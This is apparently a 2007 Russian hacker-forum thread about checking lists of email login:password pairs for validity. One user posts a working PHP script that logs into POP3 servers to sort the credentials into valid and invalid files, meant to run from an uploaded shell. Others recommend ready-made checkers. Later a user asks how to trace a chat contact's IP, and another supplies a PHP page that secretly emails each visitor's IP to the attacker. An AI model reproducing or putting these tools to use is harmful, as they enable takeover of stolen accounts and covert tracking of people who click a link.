PDA

Просмотр полной версии : Программа для чеканья мыл


Shram-spb
17.07.2007, 21:35
Люди подскажите.. есть список мыл вида
login:pass
Нужно прочекать их на валидность..
Есть ли какая-нить программа для этих целей?
в принцыпе я писал скрипт.. это не сложно.. просто случайно стер его и впадлу заново писать :))


Добавлено через день :
Вот.. написал скрипт заново.. юзайте наздоровье..
На входе mail.txt на выходе ok.mail и err.mail

//////////////////////////////////////////////////////////
// //
// Скрипт для чеканья мыла на валидность! //
// Заливаем на Shell скрипт и файл mail.txt //
// Формат mail.txt mail@host.ex:password //
// Чекает только мыла, у которых pop3 сервер //
// располжен на pop.host.ex:110 //
// На выходе создаются 2 файла: //
// ok.mail и err.mail //
// Created by 5hr4M... //
// //
//////////////////////////////////////////////////////////
<?php
error_reporting(0);
$in=fopen("mail.txt","r");
if(!$in) {
echo "mail.txt not found...<br>";
exit();
}
while(!feof($in))
{
$host='';
$str='';
$user='';
$pass='';
$str=fgets($in,128);
$pos[1]=strpos($str,'@');
$pos[2]=strpos($str,':');
$host='pop.'.substr($str,$pos[1]+1,$pos[2]-$pos[1]-1);
$pos[3]=strpos($host,' ');
if ($pos[3]) $host=substr($host,0,$pos[3]);
$user=substr($str,0,$pos[1]);
$pass=substr($str,$pos[2]+1);
connect ($host,$user,$pass);
}
echo "End<br>";
fclose($in);

function connect($host,$user,$pass){
$fp = fsockopen($host, 110, &$errno, &$errstr, 30);
fputs($fp,"USER $user\n");
$resp=fgets($fp,1024);
if ($resp[0]=='+')
{
fputs($fp,"PASS $pass\n");
$resp=fgets($fp,1024);
if ($resp[0]=='+')
{
@$out=fopen("ok.mail","a");
$mg=$user . '@' . substr($host,4). ':' . $pass;
echo $mg.'<br>';
@fputs($out,$mg);
@fclose($out);
}else
{
// echo 'Pass failure';
@$out=fopen("err.mail","a");
$mg=$user . '@' . substr($host,4). ':' . $pass;
@fputs($out,$mg);
@fclose($out);
}

}else
{
//echo 'User failure';
@$out=fopen("err.mail","a");
$mg=$user . '@' . substr($host,4). ':' . $pass;
@fputs($out,$mg);
@fclose($out);
}
fputs($fp,"QUIT\n");
$resp=fgets($fp,1024);
fclose($fp);
}
?>

Shram-spb
17.07.2007, 21:46
ну если скажешь в кратце как чекать..
Да написать то и я могу.. просто лень ищу готовую... :))
А как чекать - это просто..
Ищем pop сервер мыла.. (обычно pop.domain.ex)
Коннектимся.. логинимся.. авторизация прошла - мыло рабочее.. все просто :))

Eng1nE
17.07.2007, 21:59
На майл есть прога написаная на дэлфях, автор mcbobo. Отли4ная вещь!
Вот тема (http://forum.antichat.ru/threadnav38015-1-10-mail.ru+loginer.html).
А еще где-то видел реализацию на perl, у нас на форуме...

Shram-spb
17.07.2007, 22:00
а ну да...я что-то торможу
ну так на перле вроде легко..три строчки..может накатаю если не опередят.
формат
мыло пас ?????

плюс...поп сервера..
мыло:пасс

ICQ Pro
17.07.2007, 23:41
Есть на rambler.ru

Rambler Tools v0.3
Скачать можно с офицального сайта: тут (http://sax-mms.com/ru.php?page=soft)

Shram-spb
18.07.2007, 21:42
Смотрим первый пост! :)

DROSSEL
23.07.2007, 21:09
Народ, я исчо чайнег. Патскажыте мне, можна ли где нить надыбать скрипт или прогу чтоп по мылу ип получить? Тут были IP Tools, но чота ссылка не работает. Помогите плыз.

invlose
23.07.2007, 21:12
Outlook или Bat и др (программы для работы с почтой)
или через веб интерфейс например яндекса
ПРосматриваешь полностью письмо
В заголовке вроде бы самый последний айпи - айпи отправителя(не уверен)

DROSSEL
23.07.2007, 21:40
Outlook или Bat и др (программы для работы с почтой)
или через веб интерфейс например яндекса
ПРосматриваешь полностью письмо
В заголовке вроде бы самый последний айпи - айпи отправителя(не уверен)


да, самый последний - это оно. я видел эту статью ( или пост ), но.... фишка в том, что мне п нада бы не только для отправителя, а и для любова мыла. например в чяте када сидиш штоп узнать откуда чел, кто ево провайдер, номер телефона и тд. есь что нить для этого?

invlose
23.07.2007, 21:50
так ты хочешь по самому мылу)так нельзя
по крайней мере для яндекса и подобных точно нельзя

DROSSEL
23.07.2007, 22:07
для майл ру

lmns
24.07.2007, 09:21
например в чяте када сидиш штоп узнать откуда чел, кто ево провайдер.

Для чатов, асек и прочего.
1. Регистрируешь сайт на бесплатном хостинге с поддержкой пхп.
2. создай там страницу с таким кодом.

<html>
<head>
<title> Теперь я знаю Ваш IP)))</title>
<?php
$ip = getenv ("REMOTE_ADDR");
$text="[".date("d.m.y H:i")."] $ip\r\n";
mail("твоё мыло@mail.ru", "лови IP", "$text")
?>
</body>
</html>

и кидаешь ссылку на страницу кому надо, как только он/она по ней пройдёт, жди письмо на почту, с IP, временем и датой.

invlose
24.07.2007, 09:23
DROSSEL
по одному мылу на mail.ru
узнать айпи нельзя
иначе бы этот дерьмовый сервис не был бы так популярен

DROSSEL
25.07.2007, 20:33
посибо